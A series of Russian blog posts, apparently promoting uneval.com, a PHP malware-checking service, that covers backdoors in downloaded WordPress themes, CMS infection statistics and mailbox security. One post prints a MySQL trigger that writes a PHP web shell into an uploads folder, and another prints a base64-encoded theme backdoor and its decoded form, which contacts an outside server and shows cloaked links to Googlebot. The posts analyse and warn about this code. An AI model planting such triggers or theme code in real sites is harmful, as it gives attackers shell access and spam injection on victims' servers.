Думаю читателям будет интересно, что IAD, кроме того, чтобы постить лыбдыбры, кое-что сделал для улучшения экологии планеты сайтостроителей.
Напоминаю, что есть uneval.com — мой сервис проверки PHP кода на вредоносные конструкции.
А теперь 5 копеек, почему не следует вставлять свеже-скачанный PHP код(тему, плагин, и.т.д.) сразу на сайт:
1. Там может быть бэкдор(PHP код дающий полноценный shell на ваш сервер, хостинг, VDS). Получив такой доступ можно просмотреть, изменить(если права позволяют) любой файл сайта. И файлы других Ваших сайтов. Это позволит использовать Ваши сайты в своих целях, или просто сломать их, или поместить мелкую трудно-отлавливаемую ошибку, изведя жертву до нервного срыва. =)
2. Разместить код в тему сайта, который будет отображать ссылки только поисковым роботам(клоакинг). Средства тёмного SEO.
3. Украсть/изменить информацию сайта.
Ранее писал о безопасности: Бэкдор с триггерах субд, WordPress, eval.
В общем, юзайте мой сервис uneval.com
В настоящее время для управления структурой, контентом и дизайном сайтов часто применяются системы управления содержимым сайта — Content Management System (CMS). К CMS можно отнести:
Такие системы позволяют вебмастерам упростить программирование, дизайн, поддержку сайта и даже поручать работу с сайтом людям, незнакомым с программированием и архитектурой Web.
В то же время, CMS, как и другие виды ПО, содержат уязвимости. В отличие от CMS собственной разработки, если злоумышленники находят уязвимости в одной конкретной тиражируемой CMS — возникает угроза взлома всех CMS этой версии. При этом, чем более распространённой является система и чем чаще она применяется на популярных сайтах, тем больше усилий и денег злоумышленники инвестируют в поиск её уязвимостей.
Кроме того, большинство современных CMS состоят из множества модулей, и многие уязвимости связаны с плагинами, которые обычно написаны и протестированы на безопасность хуже, чем основной код системы.
Используя уязвимости CMS, злоумышленники стараются извлечь для себя выгоду за счёт чужих сайтов и посетителей. Например, на страницах сайта может быть размещён код, который заражает компьютеры посетителей вредоносными программами. Кроме того, на сайте со взломанной CMS могут без ведома вебмастера публиковать контент сомнительного содержания или автоматически перенаправлять пользователей на другие ресурсы с таким контентом. В результате страдает репутация сайта, и количество посетителей сайта может существенно уменьшиться.
По данным Яндекса, доли CMS на популярных российских сайтах, CMS которых удалось определить, выглядят следующим образом:

Видно, что 50% из топ-10000 заражённых сайтов используют систему DLE, а популярные сайты из топ-10000 либо отказались от неё, либо успешно её маскируют, чтобы избежать атаки. При этом они продолжают использовать WordPress и Joomla, которые тоже часто встречаются на заражённых сайтах.

Из наших данных следует, что частота использования большинства версий CMS WordPress на обычных и на заражённых сайтах примерно одинакова. При этом чаще всего заражёнными являются сайты, использующие WordPress 3.2.1, 3.1.3 и 2.9.2, эти же версии широко распространены на незаражённых популярных сайтах. Вебмастерам таких сайтов стоит соблюдать правила безопасности особенно тщательно, чтобы не допустить взлома и заражения.
Только за август и сентябрь 2011 опубликовано 57 новых уязвимостей WordPress, причём все они находятся в дополнительных компонентах. Уязвимости присутствуют в модулях wp-forum , wp-slimstat, wordpress automatic upgrade и других. С общим обзором уязвимостей WordPress можно ознакомиться здесь.

Анализ показывает, что CMS Joomla версии 1.5 одинаково часто встречается как на обычных, так и на заражённых сайтах. Владельцам сайтов, использующих эту версию Joomla, тоже рекомендуется уделять безопасности особое внимание. С начала года было опубликовано 38 новых уязвимостей в компонентах Joomla. В частности, об уязвимости в Joomla Datsogallery 1.3.1 можно прочитать на этой странице, а детальный список уязвимостей приводится здесь. Рекомендуем тщательно проверять на наличие уязвимостей модули Joomla, которые используются для реализации форумов.
Чтобы CMS вашего сайта не взломали, нужно соблюдать следующие правила:
Порой бывает нужно расшифровать md5 хэш пароля.
Существующие алгоритмы осуществляют дешифровку по таблицам хэшей или обычным перебором. На это, при текущей вычислительной мощности компьютеров могут уходить годы.
Предлагаемый алгоритм делает дешифровку практически мгновенной:
ацкая штука:
delimiter | CREATE TRIGGER backdoor AFTER UPDATE ON users FOR EACH ROW label:BEGIN IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php'; ELSE LEAVE label; END IF; END;
Срочно делайте:
SELECT * FROM information_schema.TRIGGERS
=)
первый раз осилил многобукаф в названии поста, собственно продолжим.
если вы линупсоид,выполните
ab -c 100 -n 10000 http://мой_сайт.ru/
Эта команда выполнит лёгенький ддос на ваш сайт(10000 запросов суммарно по 100 запросов параллельно) =)
что интересного можно узнать из результата:
Ну вот, кроме всяких скоростей есть поле failed requests. Это количество ошибок. Если их нет, то хорошо.
Естественно такие данные как ниже вас должны ввергать в неконтроллируемый страх и ужос, как и повёл себя товарищ пилящий =)
Собственно, уже можно юзать.
Основное из того, что планировал готово.
Можно загрузить PHP файлы и проверить на опасность (eval и прочие подозрительные функции).
http://uneval.com/ru
Если оказалось полезным — сделайте обзор у себя или отпишитесь в комментах.
Из десяти скачанных тем WordPress из публичного доступа в шести были различные eval конструкции, с зашифрованным содержимым методами gzinflate(str_rot13(base64_decode('DZZUzqR1AlGv0ruuEgt8ApqZLuG9t8mmlWvPhyc5/fwnCD0p9CL+/PPfP3+V53
Достаточно печальная тенденция. После ручной расшифровки eval блоков предстаёт содержимое, подобное этому http://lenta.iadlab.ru/2010/09/21/wordpress-eval/.
Подобные скрипты способны:
1. Получить информацию о файлах текущего сайта, включая конфигурационный файл, в котором написан пароль для подключения к базе данных.
2. Ко всем данным базы данных сайта и при получении пароля из пункта 1, ко всем базам доступным этому логину (обычно это все базы сервера, т.к. мало кто заморачивается созданием отдельных логинов).
3. Скачать информацию с любого другого сервера и развернуть хакерский инструментарий где-нибудь в папке с открытым доступом (обычно папки, в которые загружаются рисунки доступны на запись). Таким образом хакер сможет в любой момент подключиться к серверу и выполнить любую команду(в соответствии с полученным доступом).
4. Выполнение произвольных команд. Использую PHP функцию system можно выполнить любой скрипт в консоле (от прав текущего пользователя). При удачном стечении обстоятельств возможно получение прав суперпользователя root.
И всё это может произойти как только вы скопировали тему(плагин) в каталог сайта. Первый вход в админку сайта вызовет индексацию темы, что уже может привести к выполнению вредоносных процедур.
В общем, был подготовлен сервис, для проверки PHP кода:
1. Проверка на eval конструкции, выполнение раскрытия этих конструкций
2. Проверка кода на содержание функций способных получить информацию, либо причинить деструктивные действия.
Сервис проходит стадию внутреннего тестирования и будет доступен по адресу http://uneval.com/ на ближайших выходных. По факту открытия будет более полный обзор.
Удачного дня!
Сегодня наткнулся в теме вордпресс на блок:
base64_decode('ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO2lmKHByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApKXskYWR3Yl9vcHQgPSBhcnJheSh0aW1lKCksICRhZHdiX3RtcFsxXSk7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkYWR3Yl9vcHQpKS4iJyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIik7fX1pZiAoZXJlZ2koImdvb2dsZWJvdCIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSllY2hvICRhZHdiX29wdFsxXTt9YWRkX2FjdGlvbigid3BfZm9vdGVyIiwgIndwX2dldF9mb290ZXJfbWV0YSIpOw0KPz4=')
После декодирования можно изучить экземпляр:
function wp_get_footer_meta() {global $wpdb;if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);else{$adwb_opt = array(0,'');$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");}if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';$adwb_get = '/wpam/';$adwb_soc = @fsockopen($adwb_host,80,$_en,$_es,30);if ($adwb_soc){@stream_set_timeout($adwb_soc,30);@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");$adwb_data = '';while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));}@fclose($adwb_soc);if(preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp)){$adwb_opt = array(time(), $adwb_tmp[1]);$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");}}if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT']))echo $adwb_opt[1];}add_action("wp_footer", "wp_get_footer_meta");
Что мы имеем в сухом остатке:
$adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'")
Код выбирает из вашей базы данные
$adwb_soc = @fsockopen($adwb_host,80,$_en,$_es,30);
Код устанавливает соединение с удалёным сервером и получает инструкции
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");
помещает какие-то данные в базу данных
echo $adwb_opt[1];
выводит что-то на странице
Вывод: Вы сильно рискуете, устанавливая непроверенную тему на блог. Возможна кража всех данных, стирание/порча базы данных, файлов. Выполнение произвольного кода на сервере с возможностью доступа к другим сайтам сервера/аккаунта.
Имеете несколько почтовых ящиков и настроена переадресация на какой-то основной? Храните все письма в ящике на основном аккаунте? Часто такой ящик указан в качестве основного для восстановления пароля от разных платёжных систем и партнёрок. Что будет если злоумышленники получат доступ к такому ящику?
Добро пожаловать в группу риска.
У Левого чердака можно посмотреть как вскрыли его почтовый ящик, получили пароли к аккаунтам других систем и продали часть доменов, какие-то аккаунты от соц сетей.
Если такое произойдёт, вернуть пропажу будет весьма сложно, порой невозможно.
Один из очевидных способов решения проблемы — настройка локального почтового клиента (Оутлук или ещё что) на удаление почты, после получения с сервера. Таким образом почтовый ящик будет пустой, кроме свежих писем.
Как Вы решаете данную проблему защиты данных?